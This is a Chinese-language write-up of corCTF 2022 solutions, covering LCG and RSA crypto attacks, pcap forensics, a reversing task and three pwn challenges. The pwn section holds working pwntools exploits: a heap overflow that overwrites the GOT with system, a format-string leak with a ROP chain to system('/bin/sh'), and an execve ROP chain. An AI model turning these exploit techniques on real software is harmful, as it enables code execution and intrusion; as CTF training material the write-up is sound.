当前位置:网站首页>[corctf 2022] 部分

[corctf 2022] 部分

2022-08-09 19:33:00 石氏是时试

目录

crypto

tadpole

luckyguess

exchanged

 crypto hiDe

forensics

whack-a-frog

rev

Microsoft ️ Linux

pwn

cshell2

babypwn

zigzag



crypto

tadpole

这个比赛玩线性方程到极致了。先看原题

from Crypto.Util.number import bytes_to_long, isPrime
from secrets import randbelow

p = bytes_to_long(open("flag.txt", "rb").read())
assert isPrime(p)

a = randbelow(p)
b = randbelow(p)

def f(s):
    return (a * s + b) % p

print("a = ", a)
print("b = ", b)
print("f(31337) = ", f(31337))
print("f(f(31337)) = ", f(f(31337)))

数据

a =  7904681699700731398014734140051852539595806699214201704996640156917030632322659247608208994194840235514587046537148300460058962186080655943804500265088604049870276334033409850015651340974377752209566343260236095126079946537115705967909011471361527517536608234561184232228641232031445095605905800675590040729
b =  16276123569406561065481657801212560821090379741833362117064628294630146690975007397274564762071994252430611109538448562330994891595998956302505598671868738461167036849263008183930906881997588494441620076078667417828837239330797541019054284027314592321358909551790371565447129285494856611848340083448507929914
f(31337) =  52926479498929750044944450970022719277159248911867759992013481774911823190312079157541825423250020665153531167070545276398175787563829542933394906173782217836783565154742242903537987641141610732290449825336292689379131350316072955262065808081711030055841841406454441280215520187695501682433223390854051207100
f(f(31337)) =  65547980822717919074991147621216627925232640728803041128894527143789172030203362875900831296779973655308791371486165705460914922484808659375299900737148358509883361622225046840011907835671004704947767016613458301891561318029714351016012481309583866288472491239769813776978841785764693181622804797533665463949

题目给出了线性方程的两个参数a,b和两个结果,求模

显然有公式,可以得到p

f + kp = a * s + b

所以只需要进行一次爆破

from Crypto.Util.number import bytes_to_long, long_to_bytes

a = ...
b = ...
f1 = ...
f2 = ...
#f + kp = a * s + b
kp = a*31337+b - f1 
for i in range(1, 31337):
    if kp%i == 0:
        print(long_to_bytes(kp//i))

#b'corctf{1n_m4th3m4t1c5,_th3_3ucl1d14n_4lg0r1thm_1s_4n_3ff1c13nt_m3th0d_f0r_c0mput1ng_th3_GCD_0f_tw0_1nt3g3rs} <- this is flag adm'

luckyguess

同样是一个线性方程的题

#!/usr/local/bin/python
from random import getrandbits

p = 2**521 - 1
a = getrandbits(521)
b = getrandbits(521)
print("a =", a)
print("b =", b)

try:
    x = int(input("enter your starting point: "))
    y = int(input("alright, what's your guess? "))
except:
    print("?")
    exit(-1)

r = getrandbits(20)
for _ in range(r):
    x = (x * a + b) % p

if x == y:
    print("wow, you are truly psychic! here, have a flag:", open("flag.txt").read())
else:
    print("sorry, you are not a true psychic... better luck next time")

这个是连后台的题,给出了所有参数a,b,p,要求输入x和经过一个随机轮运算后的y。这里随机数是不可控的,要想预测到y那一定有y==x才行,所以要解公式

x = x *a + b mod pa =>  x = b*(1-a)^-1

连接脚本

from pwn import *
from gmpy2 import invert

p = remote('be.ax', 31800)

context.log_level = 'debug'
pa = 2**521 - 1
p.recvuntil(b'=')
a = int(p.recvline())
p.recvuntil(b'=')
b = int(p.recvline())

#x = x *a + b mod pa =>  x = b*(1-a)^-1
x = (b * invert(1-a, pa))%pa

p.sendline(str(x).encode())
p.sendline(str(x).encode())


p.recv()
'''
a = 5048175380154021587430252757047193271543600756035452140096384677751977215680281637179725004708991538263250194593058212039942945916433928658715669070860230768
b = 1124958709506779159508830030068226834098348300599667614411448690759630115345734762277408095416415601629422762018099642008496282066203998680106829277611390071
enter your starting point: 5581603144036847562006941807490262848215449288228515626126429426577632468291584545349367870521423069598668508427786978032768650395493782081195337504075349717
alright, what's your guess? 5581603144036847562006941807490262848215449288228515626126429426577632468291584545349367870521423069598668508427786978032768650395493782081195337504075349717
wow, you are truly psychic! here, have a flag: corctf{r34l_psych1c5_d0nt_n33d_f1x3d_p01nt5_t0_tr1ck_th15_lcg!}
'''

exchanged

同样是线性而且全给了参数a,b,p及初始的s和两个通过随机数轮(a_priv,b_priv)运算后的结果AB,显然经过a_priv+b_priv运算和b_priv+a_priv的值是相同的,拿这个值作为key将flag用AES加密。

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = randbelow(p)
b = randbelow(p)
s = randbelow(p)

print("p =", p)
print("a =", a)
print("b =", b)
print("s =", s)

a_priv = randbelow(p)
b_priv = randbelow(p)

def f(s):
    return (a * s + b) % p

def mult(s, n):
    for _ in range(n):
        s = f(s)
    return s

A = mult(s, a_priv)
B = mult(s, b_priv)

print("A =", A)
print("B =", B)

shared = mult(A, b_priv)
assert mult(B, a_priv) == shared

flag = open("flag.txt", "rb").read()
key = sha256(long_to_bytes(shared)).digest()[:16]
iv = long_to_bytes(randint(0, 2**128))
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(iv.hex() + cipher.encrypt(pad(flag, 16)).hex())

 由于key是经过sha256加密后的结果,所以可以确认这一步不过逆,那问题就变成求shared

先手工得到一个公式

s(k) = s0 * a^k + a^(k-1)*b + a^(k-2)*b + ... + a^0 * b
s(k) = s0 * a^k + b * (1- a^k)/(1 - a)  #等比数列求和

 通过这个公式可以算出a_priv和b_priv并计算出s(a_priv+b_priv),然后通过sha256得到密钥解密即可

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from gmpy2 import invert

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = 118090659823726532118457015460393501353551257181901234830868805299366725758012165845638977878322282762929021570278435511082796994178870962500440332899721398426189888618654464380851733007647761349698218193871563040337609238025971961729401986114391957513108804134147523112841191971447906617102015540889276702905
b = 57950149871006152434673020146375196555892205626959676251724410016184935825712508121123309360222777559827093965468965268147720027647842492655071706063669328135127202250040935414836416360350924218462798003878266563205893267635176851677889275076622582116735064397099811275094311855310291134721254402338711815917
s = 35701581351111604654913348867007078339402691770410368133625030427202791057766853103510974089592411344065769957370802617378495161837442670157827768677411871042401500071366317439681461271483880858007469502453361706001973441902698612564888892738986839322028935932565866492285930239231621460094395437739108335763
A = 27055699502555282613679205402426727304359886337822675232856463708560598772666004663660052528328692282077165590259495090388216629240053397041429587052611133163886938471164829537589711598253115270161090086180001501227164925199272064309777701514693535680247097233110602308486009083412543129797852747444605837628
B = 132178320037112737009726468367471898242195923568158234871773607005424001152694338993978703689030147215843125095282272730052868843423659165019475476788785426513627877574198334376818205173785102362137159225281640301442638067549414775820844039938433118586793458501467811405967773962568614238426424346683176754273
iv = bytes.fromhex('e0364f9f55fc27fc46f3ab1dc9db48fa')
c  = bytes.fromhex('482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e')

#A = s*a^k + b(1-a^k)/(1-a)
#A = a^k *(s - b*invert(1-a,p)) + b*invert(1-a,p)
#a^k = (A-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p)
aka = ((A-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p) )%p
bkb = ((B-b*invert(1-a,p))*invert(s - b*invert(1-a,p), p) )%p
print(aka)
print(bkb)
aka = 24613491966563701765521477438054285870183028480863197732196297187875105642012237693551457530331879651792897609680756435851960474759678723338219180075181651445427011972796264766181632783192359131103397706894059643215192702656135782012798561637515092706514444988849675712196886226529268464301268493074729091847
bkb = 29063376931172371845287877942976546880866929884320337167256459418671069174406604047580864378202023374962552151810961809116550565333153326548921316600450968620011009959635511041373577278160790705707556755722529730076215544604366790071634105119885320904079148327047425343620052566118072391261841024238109807687
#a_priv = discrete_log(aka,mod(a,p))  #求离散对数用sage计算
#b_priv = discrete_log(bkb,mod(a,p))
a_priv = 63497966771228335993935218724355716676359926182967975463093060105894867914802051403524263838451533117998140812842659902100945139428076742018151358770711075499718955791059569760306592803008376586431708302909649602374612770031446609941268056564386982932718212036534269872682126736591975854896102855270700008372
b_priv = 72294308363142635191285137067271613704518381689222403756427895774621470359587678998089163134800904011887080683864659561441585487866597353332892511005327144670737921076740544522591181991307617152388962472418690715521378068114703790176987564145359661515790454979281591952064634314009219343525018858317272168846

shared = (pow(a, a_priv+b_priv, p)*s + b*(1- pow(a, a_priv+b_priv, p))*invert(1-a, p) )%p
key = sha256(long_to_bytes(shared)).digest()[:16]
print(key)
aes = AES.new(key, AES.MODE_CBC, iv=iv)
m = aes.decrypt(c)
print(m)
#b'corctf{th1s_lcg_3xch4ng3_1s_4_l1ttl3_1ns3cur3_f0r_n0w}\n\n\n\n\n\n\n\n\n\n'

 crypto hiDe

这个题也有点思路但没弄出来,后来看WP才明白

#!/usr/local/bin/python
import random
import time
import math
import binascii
from Crypto.Util.number import *

p, q = getPrime(512), getPrime(512)
n = p * q
phi = (p - 1) * (q - 1)

flag = open('./flag.txt').read().encode()

random.seed(int(time.time()))

def encrypt(msg):
    e = random.randint(1, n)
    while math.gcd(e, phi) != 1:
        e = random.randint(1, n)
    pt = bytes_to_long(msg)
    ct = pow(pt, e, n)
    return binascii.hexlify(long_to_bytes(ct)).decode()


def main():
    print('Secure Encryption Service')
    print('Your modulus is:', n)
    while True:
        print('Options')
        print('-------')
        print('(1) Encrypt flag')
        print('(2) Encrypt message')
        print('(3) Quit')
        x = input('Choose an option: ')
        if x not in '123':
            print('Unrecognized option.')
            exit()
        elif x == '1':
            print('Here is your encrypted flag:', encrypt(flag))
        elif x == '2':
            msg = input('Enter your message in hex: ')
            print('Here is your encrypted message:', encrypt(binascii.unhexlify(msg)))
        elif x == '3':
            print('Bye')
            exit()

if __name__ == '__main__':
    main()

有两个选项,1是直接输出flag的密文,其中e为随机数;2是输入数据给出输入的密文。

如果输入2作明文,可以通过返回的c,很容易解出e

先按思路从远程取到的数据,取数据的时间 1659918157

Secure Encryption Service
Your modulus is: 95668340607036964615111505966311942047304843052888612028711550569283110382200751528924580078706350405403086359640271246828347829815359123907504289267555365291379887507682530799359640496590978979804044665256976633035512363709748038268981963861185055519567249982691069811108727546331703206393656946171973096651
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 2
Enter your message in hex: 02
Here is your encrypted message: 24169310aa5f845162e5a4b29a83656e0df0c7d72f79d778289e4d4ef1836e4e5e030186576aba18d880a90b4835068aa0c2fb376a89f2147a433bc5f6e3ee9c917a7f79404c52a6fcddc4cc61ef215ea48295c34b10b1f8b60776e0c89fce7eea5948165f0732810bba0e1702d7c6142ca04e8ac8945ef1f573f1b60f6abb47
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 1
Here is your encrypted flag: 4dd720572b85ef32b6038f36821a16848343147a9d096a06eb466ed248ae8f14d4bd6b84fea98dd4c0e2594c259c27d7ccd840e331e823dc21cc9e5bb0b2d99efc95ad646d9a30df88652bb002c84555078ae89d3a07218c911ba053370e9b69722b20a98923ff514096862ca71fc2894468320449e6d6081d5bc2bdafbf026c
Options
-------
(1) Encrypt flag
(2) Encrypt message
(3) Quit
Choose an option: 

看上去象选择密文攻击,实际上不是,这里前边用time.time()来置随机数种子,当远端连接时置种子,所以这些e是可以通过爆破种子得到的,唯一的问题是n需要分解。

这里又有一个假设,在encrypt里对e的随机值进行筛选,把与phi_h不互质的去掉。这时候两次选的e如果不是偶数则大概率下与phi_n无关,所以可以把encrypt进行简化后爆破

def get_e():
    e = random.randint(1, n)
    while e % 2 == 0:
        e = random.randint(1, n)
    return e

def encrypt(msg, n):
    e = get_e()
    ct = pow(msg, e, n)
    return ct

这样可以取到第2个cipher并且预测到第2个e,再过滤掉不互质的e后则变成了一个共模攻击。

from pwn import *
import time
from Crypto.Util.number import bytes_to_long, long_to_bytes, inverse
from math import gcd

def extended_gcd(x, y):
    # a*x + b*y = 1
    a = 0
    b = 1
    lasta = 1
    lastb = 0
    while y != 0:
        quo = x // y
        x, y = y, x % y
        a, lasta = lasta - quo * a, a
        b, lastb = lastb - quo * b, b
    return lasta, lastb

#简化的求下一个e  当e不为偶数时大概率与phi_n互质,爆破几次即可成功
def get_e():
    e = random.randint(1, n)
    while e % 2 == 0:
        e = random.randint(1, n)
    return e

def encrypt(msg, n):
    e = get_e()
    ct = pow(msg, e, n)
    return ct
    
def get_c1():
    p.sendlineafter(b'Choose an option: ', b'2')
    p.sendlineafter(b'Enter your message in hex: ', b'02')
    p.recvuntil(b'Here is your encrypted message: ')
    return int(p.recvline(), 16)

def get_cipher():
    p.sendlineafter(b'Choose an option: ', b'1')
    p.recvuntil(b'Here is your encrypted flag: ')
    return int(p.recvline(), 16)

context.log_level = 'debug'

while True:
    #get seed  近远端种子同步
    seed = int(time.time())
    p = remote('be.ax', 31124)
    p.recvuntil(b'Your modulus is: ')
    n = int(p.recvline())
    print('n: ', n)
    c_remote = get_c1()
    end = int(time.time())
    ok = False
    while end >= seed:
        random.seed(seed)
        c_local = encrypt(2, n)
        if c_local == c_remote:
            ok = True
            break
        seed += 1
    if not ok:
        p.close()
        continue
    print('seed: ', seed)
    
    #取两个互质e的密文
    random.seed(seed)
    encrypt(1,n)
    e1 = e2 =  get_e()
    flag1 = get_cipher()
    while gcd(e1,e2) != 1:
        flag2 = get_cipher()
        e2 = get_e()
    assert gcd(e1, e2) == 1
    
    #共模攻击求解
    a,b = extended_gcd(e1,e2)
    if a<0:
        flag1 = inverse(flag1, n)
        a = -a
    if b<0:
        flag2 = inverse(flag2, n)
        b = -b 
    flag = long_to_bytes((pow(flag1, a, n)*pow(flag2, b, n)) % n)
    if b'corctf{' in flag:
        print(flag)
        break
        
    p.close()
    
#corctf{y34h_th4t_w4snt_v3ry_h1dd3n_tbh_l0l}       

forensics

whack-a-frog

附件是一个抓的包

这里边有大量的 mousemove所以猜是取点绘图,前面x,y就是点的位置

先取得这些点

<?php
$data = file_get_contents("whacking-the-froggers.pcap");

preg_match_all("|/anticheat\\?x=([0-9]*)&y=([0-9]*)&event=mousemove|iUms", $data, $reg);
print_r($reg);

$d ='';
foreach($reg[1] as $i => $x){
	$y = $reg[2][$i];
	$d.= "$x,$y\n";
}

file_put_contents('d.dat', $d);
?>

 再用程序绘图

from PIL import Image

data = open('d.dat').read()[:-1].split('\n')

img = Image.new('RGB',(600,100))
for v in data:
    print(v)
    k = v.split(',')
    img.putpixel((int(k[0]), int(k[1])), (255,0,0))

img.save('a.png')

#corctf{LILYXOX}
    

得到图加上壳已经flag

rev

Microsoft ️ Linux

附件https://static.cor.team/uploads/646804dc1464496e49422efa4ca83cf62f82f080e3d62a40f2188c97740d042d/m%3C3l.exe

用ida打开后别说F5了正常看也会卡死。先是看到这一断

这里用了rol,就是循环左移0x0d将就是5次也就是前3位和后5位互换位置

后边还有提示half应该是一半,作出来也确实是一半,另一半一定在下边。把边ida分析不出来的部分强制转换成代码

 这里能看到一个数与输入的值作了与运算(异或比较常用,与很少见),作与运算实际上只是去掉某些位,大样子还能看出来。写解题脚本的时候习惯写异或了,发现提交的时候通过了。看来这个坑被无意见漏掉了。

a = bytes.fromhex('6CED4E6C8ECC6F66AD4C4E866C6685660F8E')
a = bytes([((v<<3)|((v>>5)&7))&0xff for v in a])
print(a)   
 
b = b'>ci!>Uy<cjx<8e,,<p'
for i in range(256):
    c = bytes([v^i for v in b])
    if c[-1:] == b'}':
        print(a+c)
    
#corctf{3mbr4c3,3xt3nd,3Xt1ngu15h!!1}    

pwn

cshell2

有很多pwn题,这个是最简单的,其它都看不懂。

这个题没开PIE而且got表可写,在写的时候有溢出。在edit里往偏移64处写数据但长度只减32

unsigned __int64 m4edit()
{
  unsigned __int8 v1; // [rsp+7h] [rbp-9h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter index: ");
  __isoc99_scanf("%hhu", &v1);
  if ( v1 <= 0xEu && qword_4040C8[2 * v1] )
  {
    puts("Input firstname: ");
    read(0, *((void **)&unk_4040C0 + 2 * v1), 8uLL);
    puts("Input middlename: ");
    read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 8LL), 8uLL);
    puts("Input lastname: ");
    read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 16LL), 8uLL);
    puts("Input age: ");
    __isoc99_scanf("%lu", *((_QWORD *)&unk_4040C0 + 2 * v1) + 24LL);
    printf("Input bio: (max %d)\n", qword_4040C8[2 * v1] - 32LL);
    read(0, (void *)(*((_QWORD *)&unk_4040C0 + 2 * v1) + 64LL), qword_4040C8[2 * v1] - 32LL);// 溢出32
    puts("Successfully edit'd!");
  }
  return v2 - __readfsqword(0x28u);
}

先建0x408的块4个,再编辑0,通过溢出把1的头改为0x821这样释放1就会把1和2的空间释放到unsort再建408后unsort标记就会放到2块位置,show就能得到libc

获取libc后就直接往got表里写system就行了,由于这里写分了几次,每次都得写,所以会影响到got表里的项,需要在写的时候把初始值(指向plt表)填回去。

from pwn import *

context(arch='amd64')

menu = b"5 re-age user\n"
def add(idx, size, s1=b'1', s2=b'2', s3=b'3', age=0, msg=b'AAAA'):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b'Enter index: \n', str(idx).encode())
    p.sendlineafter(b'Enter size (1032 minimum): \n', str(size).encode())
    p.sendafter(b'Input firstname: \n', s1)
    p.sendafter(b'Input middlename: \n', s2)
    p.sendafter(b'Input lastname: \n', s3)
    p.sendlineafter(b'Input age: \n', str(age).encode())
    p.sendafter(b'Input bio: \n', msg)

def show(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b": ", str(idx).encode())

def free(idx):
    p.sendlineafter(menu, b'3')
    p.sendlineafter(b": ", str(idx).encode())

def edit(idx, s1=b'1', s2=b'2', s3=b'3', age=0, msg=b'BBBB'):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b'Enter index: ', str(idx).encode())
    p.sendafter(b'Input firstname: \n', s1)
    p.sendafter(b'Input middlename: \n', s2)
    p.sendlineafter(b'Input lastname: \n', s3)
    p.sendlineafter(b'Input age: \n', str(age).encode())
    p.sendafter(b')\n', msg)

def edit_age(idx, age):
    p.sendlineafter(menu, b'5')
    p.sendlineafter(b": ", str(idx).encode())
    p.sendlineafter(b": ", str(age).encode())

#p = process('./pwn')
p = remote('be.ax', 31667)

elf = ELF('./pwn')
libc_elf = ELF('./libc.so.6')
one = [0x46daf, 0xea0aa, 0xea0b2, 0xea0b7]

context.log_level='debug'

for i in range(4):
    add(i, 0x408)


edit(0, msg=b'\x00'*(0x408-0x40)+ p64(0x821))
free(1)
add(1, 0x408)
add(4, 0x420)  #2 ->largebin
show(2)
p.recvuntil(b"last: ")
heap_base = u64(p.recvuntil(b' ',drop=True).ljust(8, b'\x00')) - 0xab0
p.recvuntil(b"first: ")
libc_base = u64(p.recvuntil(b' ', drop=True).ljust(8, b'\x00')) - 0x450 - libc_elf.sym['main_arena']
libc_elf.address = libc_base
print(hex(heap_base), hex(libc_base))


add(5, 0x408) #5==2
free(0)
free(5)
edit(2, s1=p64((elf.got['free'] -0x18)^ ((heap_base+0xac0)>>12)))

add(6, 0x408, s1=b'/bin/sh\x00')
add(7, 0x408, s1=p64(0x403e10), s2=p64(0), s3=p64(0), age=libc_elf.sym['system'], msg=p64(elf.plt['malloc']))

free(6)
p.interactive()

#gdb.attach(p)
#pause()

#corctf{m0nk3y1ng_0n_4_d3bugg3r_15_th3_b35T!!!}

babypwn

这个题给了原码,在一个循环里有一个fgets(text,128,stdin)这里text的位置与rbp相邻长度0x60这里的溢出正好够pop_rdi,/bin/sh,system。另外一个漏洞在这句前边printf(text)不带参数的printf,可以任意漏洞任意写

use libc;
use libc_stdhandle;

fn main() {
    unsafe {
        libc::setvbuf(libc_stdhandle::stdout(), &mut 0, libc::_IONBF, 0);

        libc::printf("Hello, world!\n\0".as_ptr() as *const libc::c_char);
        libc::printf("What is your name?\n\0".as_ptr() as *const libc::c_char);

        let text = [0 as libc::c_char; 64].as_mut_ptr();
        libc::fgets(text, 64, libc_stdhandle::stdin());
        libc::printf("Hi, \0".as_ptr() as *const libc::c_char);
        libc::printf(text);  //格式化字符串漏洞

        libc::printf("What's your favorite :msfrog: emote?\n\0".as_ptr() as *const libc::c_char);
        libc::fgets(text, 128, libc_stdhandle::stdin());  //写溢出
        
        libc::printf(format!("{}\n\0", r#"..."#).as_ptr() as *const libc::c_char);
    }
}

这题之所以没完成一个大问题就是这个程序不能运行,本地不能运行而且在用printf漏洞libc里找不到。后来看了别人的WP,他用的位置在67也就是向下0x1e8的位置,如果本地不能debug的话这样确实有点坑。

from pwn import *

libc_elf = ELF("libc.so.6")

context(arch='amd64', log_level='debug')

#sock = Process("./babypwn")
p = remote("be.ax", 31801)
p.sendlineafter(b"name?\n", b"%67$p")
p.recvuntil(b'Hi, ')
libc_base = int(p.recvline(), 16) - 0x20e15e
libc_elf.address = libc_base

pop_rdi = libc_base + 0x0000000000023b6a #: pop rdi ; ret

payload = b"A"*0x60
payload += p64(pop_rdi +1)
payload += p64(pop_rdi)
payload += p64(next(libc_elf.search(b"/bin/sh")))
payload += p64(libc_elf.sym["system"])
p.sendlineafter(b"emote?\n", payload)

p.interactive()

#corctf{why_w4s_th4t_1n_rust???}

zigzag

说是zig写的程序,ida翻出来乱的要命,好在给了原码,但是明显限了可能有写溢出外,从源码也看不出啥来。另外它是一个静态编译的程序没用libc,而且也没用堆函数。

pub fn edit() !void {
    var idx: usize = undefined;
    var size: usize = undefined;

    try stdout.print("Index: ", .{});
    idx = try readNum();

    if (idx == ERR or idx >= chunklist.len or @ptrToInt(chunklist[idx].ptr) == NULL) {
        try stdout.print("Invalid index!\n", .{});
        return;
    }

    try stdout.print("Size: ", .{});
    size = try readNum();

    if (size > chunklist[idx].len and size == ERR) {
        try stdout.print("Invalid size!\n", .{});
        return;
    }

    chunklist[idx].len = size;

    try stdout.print("Data: ", .{});
    _ = try stdin.read(chunklist[idx]);  #溢出
}

如是我闻:

当建两个块后可以发现它会把块建在mapped块里,每块长1000,后跟一个1000的块(cur_ptr*2, chunk_ptr, edit_len),由于写的时候无限制可以试着覆盖管理块(内容不详,暂时叫管理块,实际上读和写都用chunklist里的指针和size,这里的指针似乎没用)的指针。

当将指针覆盖后再建块会将块建到指针+10处,会在+10处开始写数据

所以整体思路是:

  1. edit修改长度,然后show得到堆地址
  2. 修改管理块指针到chunklist-0x10,建块写入argc_argv_ptr让1块指向argc_argv_ptr
  3. show(1)得到栈地址-0xc8是当前函数返回位置
  4. 将1块指针修改为栈返回地址
  5. 在返回地址处写rop 这里由于没有pop rdx需要找一个能代替的gadget,恰好有个or rdx,rdi 只需要先在rdi填一个指向0的指针再or rdx,rdi即实现填充rdx。再一个坑就在在下一个ret前边有个位置会被修改,这样需要用足够长的pop路过,这里用pop_r14,r15,rbp三个路过,最后是执行execve的syscall 59
from pwn import *

def add(index, size, data):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)
def delete(index):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b'Index: ', str(index).encode())
def show(index):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b'Index: ', str(index).encode())
    return p.recvline()
def edit(index, size, data):
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b'Index: ', str(index).encode())
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

elf = ELF("./zigzag")

p = process("./zigzag")
#p = remote("be.ax", 31278)
context(arch='amd64', log_level='debug')

# Leak heap pointer
add(0, 0x10, b"/bin/sh\0")
add(1, 0x20, b"B")
edit(1, 0x1020, b"B"*0x10)
'''
gdb-peda$ vmmap
Start              End                Perm	Name
0x00200000         0x00201000         r--p	/home/shi/2022corctf/zigzag/zigzag
0x00201000         0x00204000         r-xp	/home/shi/2022corctf/zigzag/zigzag
0x00204000         0x00205000         rw-p	/home/shi/2022corctf/zigzag/zigzag
0x00205000         0x00209000         rw-p	mapped
0x00007f785dd73000 0x00007f785dd77000 rw-p	mapped
0x00007fffdfebd000 0x00007fffdfede000 rw-p	[stack]
0x00007fffdffca000 0x00007fffdffce000 r--p	[vvar]
0x00007fffdffce000 0x00007fffdffd0000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 --xp	[vsyscall]
gdb-peda$ x/6gx &chunklist 
0x208128 <chunklist>:	0x00007f785dd73000	0x0000000000000010
0x208138 <chunklist+16>:	0x00007f785dd75000	0x0000000000001020
0x208148 <chunklist+32>:	0x00000000dead0000	0x0000000000000000
gdb-peda$ x/4gx 0x00007f785dd73000 
0x7f785dd73000:	0x0068732f6e69622f	0x0000000000000000
0x7f785dd73010:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/4gx 0x00007f785dd75000 
0x7f785dd75000:	0x4242424242424242	0x4242424242424242
0x7f785dd75010:	0x4242424242424242	0x4242424242424242
gdb-peda$ x/4gx 0x00007f785dd76000 
0x7f785dd76000:	0x00007f785dd76042	0x00007f785dd76000
0x7f785dd76010:	0x00007f785dd75000	0x0000000000010001

0120| 0x7fffdfedc790 --> 0xdead0000 
0128| 0x7fffdfedc798 --> 0x202c04 (<std.start.posixCallMainAndExit+836>:	movzx  eax,WORD PTR [rsp+0x60])  <---ROP start
0136| 0x7fffdfedc7a0 --> 0x1 

0312| 0x7fffdfedc850 --> 0x0 
0320| 0x7fffdfedc858 --> 0x2028c0 (<std.start.posixCallMainAndExit>:	push   rbp)
0328| 0x7fffdfedc860 --> 0x1                              <------- *argc_argv_ptr
0336| 0x7fffdfedc868 --> 0x7fffdfedd431 ("./zigzag")

chunklist{ptr,size} *ptr+1000 = top_chunk{heap_base, heap_base, last_chunk, last_len}
'''
heap_base = u64(show(1)[0x1000:0x1008]) #- ord('B')
print("heap = ",hex(heap_base))
# Overwrite A pointer
payload  = b"B"*0x1000 + p64(heap_base)*2 + p64(elf.sym["chunklist"] - 0x10)
edit(1, 0x1018, payload) #size>=len(data)
add(2, 0x20, p64(elf.sym["argc_argv_ptr"])+ p64(0x60)) #chunk1->ptr:argc_argv_ptr #remote +0x1000  2.size==1.size=0x20
stack_addr = u64(show(1)[:8]) - 0xc8  
print("stack:", hex(stack_addr))
edit(2, 0x20, p64(stack_addr)+ p64(0x100)) #chunk1->ptr:stack_ret

pop_rdi = 0x0000000000203147 # pop rdi ; ret
pop_rsi = 0x000000000020351b # pop rsi ; ret
pop_rsi_r15 = 0x0000000000203b27 # pop rsi ; pop r15 ; ret
pop_rax_syscall = 0x0000000000201fcf # pop rax ; syscall 
or_rdx_rdi = 0x0000000000203bde # or rdx, rdi ; ret
pop_r14_r15_rbp = 0x0000000000201f2e # pop r14 ; pop r15 ; pop rbp ; ret
pop_rax_mov_rsi_rcx_syscall = 0x0000000000201fc6 # pop rax ; mov rsi, rcx ; syscall
#rdx = 0x205100
#execve(/bin/sh,0,0) rax=0x3b *rdi=/bin/sh rsi=0 *rdx=0
#pop r14... jump used space
ROP = flat(pop_rdi, 0x205100, or_rdx_rdi, pop_rsi,0,pop_r14_r15_rbp,0,0,0,pop_rdi,heap_base-0x3000, pop_rax_syscall, 0x3b)
edit(1, 0x100, ROP)
p.interactive()

原网站

版权声明
本文为[石氏是时试]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_52640415/article/details/126221814